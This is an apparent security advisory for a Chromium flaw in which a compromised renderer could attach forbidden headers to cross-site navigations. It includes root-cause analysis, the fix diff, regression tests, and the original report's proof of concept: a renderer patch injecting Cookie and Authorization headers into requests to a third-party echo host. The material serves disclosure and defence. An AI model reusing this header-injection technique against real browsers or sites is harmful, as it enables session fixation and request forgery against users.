CVE-2026-8528
Overview
Background
- Site Isolation
- the browser-process security model that confines a renderer to its own site and distrusts the data and IPCs that a (possibly compromised) renderer sends.
- `VerifyNavigationHeaders`
- a browser-process helper (
content/browser/renderer_host/ipc_utils.cc) that checks the extra HTTP headers a renderer supplies for a navigation against a strict allowlist. - `bad_message::ReceivedBadMessage`
- the content-layer mechanism that terminates a renderer process when it sends an IPC that violates a browser-enforced invariant.
- `DumpWithoutCrashing`
- a diagnostics call that records a crash report but lets execution continue, used to collect data without enforcing anything.
Root Cause Analysis
e0a0f3ed7f30. An earlier analysis was withdrawn because it had been written against a commit that was not the security fix (fdab935fad75).OpenURL passes params->extra_headers and BeginNavigation passes begin_params->headers. The prep commit fdab935fad75a812d0018c29f1a7161f5f36e9b2 introduced VerifyNavigationHeaders (content/browser/renderer_host/ipc_utils.cc:466) and wired it into VerifyOpenURLParams (added call at diff @@ -261,6 +263) and into RenderFrameHostImpl::BeginNavigation (added call at render_frame_host_impl.cc diff @@ -11441,6). That function parses the headers and compares each against an allowlist of six non-sensitive headers (ipc_utils.cc:478-483: kUpgradeInsecureRequests, kOrigin, kContentType, kUserAgent, kSecPurpose, kDNT). The invariant — a compromised renderer must not set arbitrary request headers such as Cookie or Authorization — was not actually enforced, because on a non-allowlisted header the pre-fix code only set a crash key and, when features::kDumpOnInvalidNavigationHeaders was enabled (ENABLED_BY_DEFAULT, features.cc:206), called base::debug::DumpWithoutCrashing(); either way it fell through to return true (ipc_utils.cc:484-494), so verification did not reject the navigation. The primary commit e0a0f3ed7f30d67acc95874ca5235f6673c1c6a6 restores the invariant: the non-allowlisted branch now (when features::kKillOnInvalidNavigationHeaders is enabled, ENABLED_BY_DEFAULT) calls bad_message::ReceivedBadMessage(process, bad_message::RFH_INVALID_NAVIGATION_HEADERS) and return false, rejecting the request and killing the renderer. The new enum value RFH_INVALID_NAVIGATION_HEADERS = 342 is added in content/browser/bad_message.h.return true); the fix turns the same allowlist into an enforced check that rejects the IPC and terminates the offending renderer.Attack Path
- Compromise a renderer The attacker gains arbitrary code execution in a renderer process (a standard Site Isolation threat-model precondition).
- Forge a navigation IPC
The renderer sends
OpenURL(orBeginNavigation) for a cross-site top-level navigation withextra_headers/headerscontaining a forbidden header such asCookie: ...orAuthorization: .... - Header passes through pre-fix
VerifyNavigationHeadersflags the header but returnstrue(ipc_utils.cc:484-494), so the navigation is not rejected. The fix’s*_KillDisabledtests, which injectCookie: secret=123and expect the navigation to commit, indirectly show the navigation proceeding. That the browser then attaches the renderer-chosen headers to the outgoing request is (inferred); the attachment code is not shown. - Session/credential manipulation
The forged
Cookie/Authorizationreaches the target origin, enabling session fixation or request forgery against that site. (inferred — the material shows header pass-through, not server-side effect.)
Impact Assessment
Cookie, Authorization) to top-level navigation requests to other origins, defeating the Site Isolation guarantee that a renderer cannot forge cross-site request state. The attack requires the renderer to already be compromised; the advisory rates this medium severity and reports no in-the-wild exploitation. Downstream consequences such as session fixation are plausible but server-dependent and not demonstrated by the code shown (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
SecurityExploitBrowserTestcontent/browser/security_exploit_browsertest.cc |
modified | |
SecurityExploitBrowserTestcontent/browser/security_exploit_browsertest.cc |
modified | |
SecurityExploitHeaderKillDisabledTestcontent/browser/security_exploit_browsertest.cc |
modified | |
IN_PROC_BROWSER_TEST_Fcontent/browser/security_exploit_browsertest.cc |
modified |
Files Changed
content/browser/bad_message.hcontent/browser/renderer_host/ipc_utils.cccontent/browser/security_exploit_browsertest.cccontent/common/features.cccontent/common/features.htools/metrics/histograms/metadata/stability/enums.xml
Audit Directions
- Dump-to-kill TODOsSearch for validation helpers that log via
DumpWithoutCrashing()but stillreturn true; these are detection-only and do not enforce the invariant until converted toReceivedBadMessage. - Renderer-supplied header stringsAudit every browser-process entry point that accepts a renderer header blob (
extra_headers,begin_params->headers) to confirm it routes through an enforced allowlist before the headers are attached to a request. - Feature-gated enforcementWhen a security check is behind a
BASE_FEATURE, verify the flag’s default state and that the disabled path does not silently reopen the bypass.
Patch
diff --git a/content/browser/bad_message.h b/content/browser/bad_message.h
index 69ef4deb..3275a09 100644
--- a/content/browser/bad_message.h
+++ b/content/browser/bad_message.h
@@ -367,6 +367,7 @@
DT_DUPLICATE_CHILD_TARGET_CREATED = 339,
RWH_POINTER_LOCK_FROM_SANDBOXED_FRAME = 340,
SWSI_CROSS_ORIGIN_SCRIPT_URL = 341,
+ RFH_INVALID_NAVIGATION_HEADERS = 342,
// Please add new elements here. The naming convention is abbreviated class
// name (e.g. RenderFrameHost becomes RFH) plus a unique description of the
diff --git a/content/browser/renderer_host/ipc_utils.cc b/content/browser/renderer_host/ipc_utils.cc
index d13f9883..4e9bf14 100644
--- a/content/browser/renderer_host/ipc_utils.cc
+++ b/content/browser/renderer_host/ipc_utils.cc
@@ -481,13 +481,13 @@
header.name() != net::HttpRequestHeaders::kUserAgent &&
header.name() != net::HttpRequestHeaders::kSecPurpose &&
header.name() != net::HttpRequestHeaders::kDNT) {
- // TODO(https://crbug.com/40093290): Once we have enough data, this should
- // be a `bad_message::ReceivedBadMessage` and return `false`.
- SCOPED_CRASH_KEY_STRING64("Bug487795397", "invalid_header",
- header.name());
if (base::FeatureList::IsEnabled(
- features::kDumpOnInvalidNavigationHeaders)) {
- base::debug::DumpWithoutCrashing();
+ features::kKillOnInvalidNavigationHeaders)) {
+ SCOPED_CRASH_KEY_STRING64("Bug487795397", "invalid_header",
+ header.name());
+ bad_message::ReceivedBadMessage(
+ process, bad_message::RFH_INVALID_NAVIGATION_HEADERS);
+ return false;
}
}
}
diff --git a/content/common/features.cc b/content/common/features.cc
index d7082401..b0f87821 100644
--- a/content/common/features.cc
+++ b/content/common/features.cc
@@ -202,10 +202,6 @@
BASE_FEATURE(kDocumentPolicyNegotiation, base::FEATURE_DISABLED_BY_DEFAULT);
// When enabled, DumpWithoutCrashing() is called if a renderer process provides
-// invalid (non-allowlisted) headers in a navigation request.
-BASE_FEATURE(kDumpOnInvalidNavigationHeaders, base::FEATURE_ENABLED_BY_DEFAULT);
-
-// When enabled, DumpWithoutCrashing() is called if a renderer process provides
// an Origin header on a navigation request that doesn't match the expected
// origin.
BASE_FEATURE(kDumpOnOriginHeaderMismatch, base::FEATURE_ENABLED_BY_DEFAULT);
@@ -416,6 +412,10 @@
// When enabled, child process will not terminate itself when IPC is reset.
BASE_FEATURE(kKeepChildProcessAfterIPCReset, base::FEATURE_DISABLED_BY_DEFAULT);
+// When enabled, the renderer process will be killed if it provides
+// invalid (non-allowlisted) headers in a navigation request.
+BASE_FEATURE(kKillOnInvalidNavigationHeaders, base::FEATURE_ENABLED_BY_DEFAULT);
+
// Enables Local Network Access checks for all types of web workers.
//
// The exact checks run are the same as for other document subresources, and
diff --git a/content/common/features.h b/content/common/features.h
index 9781dad0..6a95343 100644
--- a/content/common/features.h
+++ b/content/common/features.h
@@ -80,7 +80,6 @@
CONTENT_EXPORT BASE_DECLARE_FEATURE(
kDocumentIsolationPolicyWithoutSiteIsolation);
CONTENT_EXPORT BASE_DECLARE_FEATURE(kDocumentPolicyNegotiation);
-CONTENT_EXPORT BASE_DECLARE_FEATURE(kDumpOnInvalidNavigationHeaders);
CONTENT_EXPORT BASE_DECLARE_FEATURE(kDumpOnOriginHeaderMismatch);
CONTENT_EXPORT BASE_DECLARE_FEATURE(kDumpOnUnexpectedOriginHeader);
#if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS)
@@ -155,6 +154,7 @@
CONTENT_EXPORT BASE_DECLARE_FEATURE(kIOSurfaceCapturer);
#endif
CONTENT_EXPORT BASE_DECLARE_FEATURE(kKeepChildProcessAfterIPCReset);
+CONTENT_EXPORT BASE_DECLARE_FEATURE(kKillOnInvalidNavigationHeaders);
CONTENT_EXPORT BASE_DECLARE_FEATURE(kLocalNetworkAccessForWorkers);
CONTENT_EXPORT BASE_DECLARE_FEATURE(kLocalNetworkAccessForWorkersWarningOnly);
diff --git a/tools/metrics/histograms/metadata/stability/enums.xml b/tools/metrics/histograms/metadata/stability/enums.xml
index cc3916c..daef10d 100644
--- a/tools/metrics/histograms/metadata/stability/enums.xml
+++ b/tools/metrics/histograms/metadata/stability/enums.xml
@@ -508,6 +508,7 @@
<int value="339" label="DT_DUPLICATE_CHILD_TARGET_CREATED"/>
<int value="340" label="RWH_POINTER_LOCK_FROM_SANDBOXED_FRAME"/>
<int value="341" label="SWSI_CROSS_ORIGIN_SCRIPT_URL"/>
+ <int value="342" label="RFH_INVALID_NAVIGATION_HEADERS"/>
</enum>
<enum name="BadMessageReasonExtensions">
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index 29527cd7..5b25594 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -289,8 +289,7 @@
class SecurityExploitBrowserTest : public ContentBrowserTest {
public:
SecurityExploitBrowserTest() {
- feature_list_.InitWithFeatures({features::kDumpOnInvalidNavigationHeaders,
- features::kDumpOnUnexpectedOriginHeader,
+ feature_list_.InitWithFeatures({features::kDumpOnUnexpectedOriginHeader,
features::kDumpOnOriginHeaderMismatch},
{});
}
@@ -3323,10 +3322,23 @@
std::optional<std::string> headers_to_inject_;
bool is_activated_ = false;
};
+
+class SecurityExploitHeaderKillDisabledTest
+ : public SecurityExploitBrowserTest {
+ public:
+ SecurityExploitHeaderKillDisabledTest() : SecurityExploitBrowserTest() {
+ feature_list_.InitWithFeatures({},
+ {features::kKillOnInvalidNavigationHeaders});
+ }
+
+ private:
+ base::test::ScopedFeatureList feature_list_;
+};
+
} // namespace
-// Tests that DumpWithoutCrashing() is called if a renderer process provides
-// arbitrary headers in a navigation request.
+// Tests that the renderer is killed if it provides arbitrary headers in a
+// navigation request when kKillOnInvalidNavigationHeaders is enabled.
IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
ForbiddenHeaderInBeginNavigation) {
GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
@@ -3336,17 +3348,39 @@
interceptor.set_headers_to_inject("Cookie: secret=123");
interceptor.Activate();
- RenderFrameHost* rfhi = shell()->web_contents()->GetPrimaryMainFrame();
- base::test::TestFuture<void> dump_future;
- ScopedDumpWithoutCrashingCallback dump_callback(
- dump_future.GetRepeatingCallback());
+ RenderFrameHostImpl* rfhi = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfhi->GetProcess());
ExecuteScriptAsync(rfhi, "location = '/title2.html';");
- EXPECT_TRUE(dump_future.Wait());
+ EXPECT_EQ(bad_message::RFH_INVALID_NAVIGATION_HEADERS, kill_waiter.Wait());
+ EXPECT_FALSE(rfhi->IsRenderFrameLive());
}
-// Tests that DumpWithoutCrashing() is called if a renderer process provides
-// arbitrary headers in an OpenURL request.
+// Tests that the navigation succeeds if a renderer process provides arbitrary
+// headers in a navigation request when kKillOnInvalidNavigationHeaders is
+// disabled.
+IN_PROC_BROWSER_TEST_F(SecurityExploitHeaderKillDisabledTest,
+ ForbiddenHeaderInBeginNavigation_KillDisabled) {
+ GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), start_url));
+
+ NavigationHeaderInterceptor interceptor(shell()->web_contents());
+ interceptor.set_headers_to_inject("Cookie: secret=123");
+ interceptor.Activate();
+
+ RenderFrameHost* rfhi = shell()->web_contents()->GetPrimaryMainFrame();
+
+ TestNavigationObserver navigation_observer(shell()->web_contents());
+ ExecuteScriptAsync(rfhi, "location = '/title2.html';");
+ navigation_observer.Wait();
+
+ EXPECT_EQ(embedded_test_server()->GetURL("a.test", "/title2.html"),
+ shell()->web_contents()->GetLastCommittedURL());
+}
+
+// Tests that the renderer is killed if it provides arbitrary headers in an
+// OpenURL request when kKillOnInvalidNavigationHeaders is enabled.
IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, ForbiddenHeaderInOpenURL) {
GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
EXPECT_TRUE(NavigateToURL(shell(), start_url));
@@ -3358,11 +3392,33 @@
embedded_test_server()->GetURL("a.test", "/title2.html"));
params->extra_headers = "Cookie: secret=123";
- base::test::TestFuture<void> dump_future;
- ScopedDumpWithoutCrashingCallback dump_callback(
- dump_future.GetRepeatingCallback());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfhi->GetProcess());
static_cast<mojom::FrameHost*>(rfhi)->OpenURL(std::move(params));
- EXPECT_TRUE(dump_future.Wait());
+ EXPECT_EQ(bad_message::RFH_INVALID_NAVIGATION_HEADERS, kill_waiter.Wait());
+ EXPECT_FALSE(rfhi->IsRenderFrameLive());
+}
+
+// Tests that the navigation succeeds if a renderer process provides arbitrary
+// headers in an OpenURL request when kKillOnInvalidNavigationHeaders is
+// disabled.
+IN_PROC_BROWSER_TEST_F(SecurityExploitHeaderKillDisabledTest,
+ ForbiddenHeaderInOpenURL_KillDisabled) {
+ GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), start_url));
+
+ RenderFrameHostImpl* rfhi = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+
+ auto params = CreateOpenURLParams(
+ embedded_test_server()->GetURL("a.test", "/title2.html"));
+ params->extra_headers = "Cookie: secret=123";
+
+ TestNavigationObserver navigation_observer(shell()->web_contents());
+ static_cast<mojom::FrameHost*>(rfhi)->OpenURL(std::move(params));
+ navigation_observer.Wait();
+
+ EXPECT_EQ(embedded_test_server()->GetURL("a.test", "/title2.html"),
+ shell()->web_contents()->GetLastCommittedURL());
}
// Tests that if a renderer provides an Origin header on an OpenURL request,
Regression Test / PoC
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index 29527cd7..5b25594 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -289,8 +289,7 @@
class SecurityExploitBrowserTest : public ContentBrowserTest {
public:
SecurityExploitBrowserTest() {
- feature_list_.InitWithFeatures({features::kDumpOnInvalidNavigationHeaders,
- features::kDumpOnUnexpectedOriginHeader,
+ feature_list_.InitWithFeatures({features::kDumpOnUnexpectedOriginHeader,
features::kDumpOnOriginHeaderMismatch},
{});
}
@@ -3323,10 +3322,23 @@
std::optional<std::string> headers_to_inject_;
bool is_activated_ = false;
};
+
+class SecurityExploitHeaderKillDisabledTest
+ : public SecurityExploitBrowserTest {
+ public:
+ SecurityExploitHeaderKillDisabledTest() : SecurityExploitBrowserTest() {
+ feature_list_.InitWithFeatures({},
+ {features::kKillOnInvalidNavigationHeaders});
+ }
+
+ private:
+ base::test::ScopedFeatureList feature_list_;
+};
+
} // namespace
-// Tests that DumpWithoutCrashing() is called if a renderer process provides
-// arbitrary headers in a navigation request.
+// Tests that the renderer is killed if it provides arbitrary headers in a
+// navigation request when kKillOnInvalidNavigationHeaders is enabled.
IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
ForbiddenHeaderInBeginNavigation) {
GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
@@ -3336,17 +3348,39 @@
interceptor.set_headers_to_inject("Cookie: secret=123");
interceptor.Activate();
- RenderFrameHost* rfhi = shell()->web_contents()->GetPrimaryMainFrame();
- base::test::TestFuture<void> dump_future;
- ScopedDumpWithoutCrashingCallback dump_callback(
- dump_future.GetRepeatingCallback());
+ RenderFrameHostImpl* rfhi = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfhi->GetProcess());
ExecuteScriptAsync(rfhi, "location = '/title2.html';");
- EXPECT_TRUE(dump_future.Wait());
+ EXPECT_EQ(bad_message::RFH_INVALID_NAVIGATION_HEADERS, kill_waiter.Wait());
+ EXPECT_FALSE(rfhi->IsRenderFrameLive());
}
-// Tests that DumpWithoutCrashing() is called if a renderer process provides
-// arbitrary headers in an OpenURL request.
+// Tests that the navigation succeeds if a renderer process provides arbitrary
+// headers in a navigation request when kKillOnInvalidNavigationHeaders is
+// disabled.
+IN_PROC_BROWSER_TEST_F(SecurityExploitHeaderKillDisabledTest,
+ ForbiddenHeaderInBeginNavigation_KillDisabled) {
+ GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), start_url));
+
+ NavigationHeaderInterceptor interceptor(shell()->web_contents());
+ interceptor.set_headers_to_inject("Cookie: secret=123");
+ interceptor.Activate();
+
+ RenderFrameHost* rfhi = shell()->web_contents()->GetPrimaryMainFrame();
+
+ TestNavigationObserver navigation_observer(shell()->web_contents());
+ ExecuteScriptAsync(rfhi, "location = '/title2.html';");
+ navigation_observer.Wait();
+
+ EXPECT_EQ(embedded_test_server()->GetURL("a.test", "/title2.html"),
+ shell()->web_contents()->GetLastCommittedURL());
+}
+
+// Tests that the renderer is killed if it provides arbitrary headers in an
+// OpenURL request when kKillOnInvalidNavigationHeaders is enabled.
IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, ForbiddenHeaderInOpenURL) {
GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
EXPECT_TRUE(NavigateToURL(shell(), start_url));
@@ -3358,11 +3392,33 @@
embedded_test_server()->GetURL("a.test", "/title2.html"));
params->extra_headers = "Cookie: secret=123";
- base::test::TestFuture<void> dump_future;
- ScopedDumpWithoutCrashingCallback dump_callback(
- dump_future.GetRepeatingCallback());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfhi->GetProcess());
static_cast<mojom::FrameHost*>(rfhi)->OpenURL(std::move(params));
- EXPECT_TRUE(dump_future.Wait());
+ EXPECT_EQ(bad_message::RFH_INVALID_NAVIGATION_HEADERS, kill_waiter.Wait());
+ EXPECT_FALSE(rfhi->IsRenderFrameLive());
+}
+
+// Tests that the navigation succeeds if a renderer process provides arbitrary
+// headers in an OpenURL request when kKillOnInvalidNavigationHeaders is
+// disabled.
+IN_PROC_BROWSER_TEST_F(SecurityExploitHeaderKillDisabledTest,
+ ForbiddenHeaderInOpenURL_KillDisabled) {
+ GURL start_url(embedded_test_server()->GetURL("a.test", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), start_url));
+
+ RenderFrameHostImpl* rfhi = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+
+ auto params = CreateOpenURLParams(
+ embedded_test_server()->GetURL("a.test", "/title2.html"));
+ params->extra_headers = "Cookie: secret=123";
+
+ TestNavigationObserver navigation_observer(shell()->web_contents());
+ static_cast<mojom::FrameHost*>(rfhi)->OpenURL(std::move(params));
+ navigation_observer.Wait();
+
+ EXPECT_EQ(embedded_test_server()->GetURL("a.test", "/title2.html"),
+ shell()->web_contents()->GetLastCommittedURL());
}
// Tests that if a renderer provides an Origin header on an OpenURL request,
Original Bug Report
Site Isolation bypass: renderer -> control headers sent to other sites, including cookies
VULNERABILITY DETAILS
Compromised renderer can inject arbitrary headers (including cookie) into a request to another site.
VERSION
Chrome Version: Built from git with no special build flags
Operating System: Tested on Linux
REPRODUCTION CASE
- Apply patch to the renderer.
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index dd17c9c1d3d17..6ec04dbfdaa6f 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -6249,6 +6249,15 @@ void RenderFrameImpl::BeginNavigationInternal(
info->is_container_initiated, info->storage_access_api_status,
info->has_rel_opener);
+ if (GURL(info->url_request.Url()).DomainIs("echo.free.beeceptor.com")) {
+ if (!begin_params->headers.empty() && begin_params->headers.back() != '\n') {
+ begin_params->headers += "\r\n";
+ }
+ begin_params->headers += "Cookie: session_id=foobar\r\n";
+ begin_params->headers += "Authorization: Basic Zm9vOmJhcg==\r\n";
+ begin_params->headers += "X-Injected-Header: helloworld\r\n";
+ }
+
bool current_frame_has_download_sandbox_flag = !frame_->IsAllowedToDownload();
bool has_download_sandbox_flag =
info->initiator_frame_has_download_sandbox_flag ||
- Open this HTML page (host it on 127.0.0.1)
<!DOCTYPE html>
<html>
<head>
<title>OpenURL Header Injection PoC</title>
</head>
<body>
<h1>OpenURL Header Injection PoC</h1>
<p>This PoC demonstrates that a compromised renderer can inject arbitrary headers (like Cookie) via OpenURL.</p>
<button onclick="window.open('https://echo.free.beeceptor.com/', '_blank')">
Click to Trigger window.open (OpenURL)
</button>
<script>
console.log("PoC Loaded");
</script>
</body>
</html>
-
Click button.
-
Observe a request is made to the third-party site with arbitrary headers set by the renderer. For example, the attacker can set a cookie header.
From https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/compromised-renderers.md it seems like this would be considered a security issue.
CREDIT INFORMATION
Reporter credit: Ryan Lothian
LLM WRITEUP
Compromised Renderer Can Inject Arbitrary Headers (including Cookie) via OpenURL
The RenderFrameHostImpl::OpenURL method (in content/browser/renderer_host/render_frame_host_impl.cc) processes OpenURL IPC messages from the renderer. It receives blink::mojom::OpenUR LParamsPtr, which contains an extra_headers field (a string of additional HTTP headers).
The VerifyOpenURLParams function (in content/browser/renderer_host/ipc_utils.cc) validates several fields of OpenURLParams (like URL, POST body, initiator origin), but it does not validate or sanitize extra_headers.
RenderFrameHostImpl::OpenURL passes these extra_headers to NavigationControllerImpl::LoadURLWithParams (in content/browser/renderer_host/navigation_controller_impl.cc).
NavigationControllerImpl::LoadURLWithParams uses CreateNavigationEntry to store these headers in the NavigationEntry.
Later, NavigationRequest (in content/browser/renderer_host/navigation_request.cc) retrieves these headers and adds them to the net::HttpRequestHeaders for the navigation request using AddHeadersFromString.
The network service (in services/network/public/cpp/header_util.cc) checks headers against AreRequestHeadersSafe. However, this check is primarily a DCHECK in NavigationURLLoader. Furthermore, IsRequestHeaderSafe allows several sensitive headers, most notably Cookie, Authorization, and X-Csrf-Token. It explicitly lists Cookie2 and Set-Cookie as unsafe, but leaves Cookie as a TODO item (implying it is allowed).
Impact:
A compromised renderer process can send an OpenURL IPC with a crafted extra_headers string containing a Cookie header (e.g., Cookie: session_id=attacker_session).
This allows the attacker to perform a Session Fixation attack: the browser will send the attacker’s session cookie to the target server during the top-level navigation. If the server accepts the cookie, the user will be logged in as the attacker.
The attacker can also inject Authorization headers to log the user in as the attacker (if they have valid credentials), or other custom headers that might influence the server’s behavior (e.g., X-Forwarded-For spoofing, or bypassing WAFs/CSRF checks).
This violates the principle that a compromised renderer should not be able to forge arbitrary network requests or interfere with the user’s session state on other origins, especially for top-level navigations.
Affected Files:
content/browser/renderer_host/render_frame_host_impl.cc:OpenURLmethod blindly passesextra_headers.content/browser/renderer_host/ipc_utils.cc:VerifyOpenURLParamsfails to validateextra_headers.services/network/public/cpp/header_util.cc:IsRequestHeaderSafeallowsCookieheader.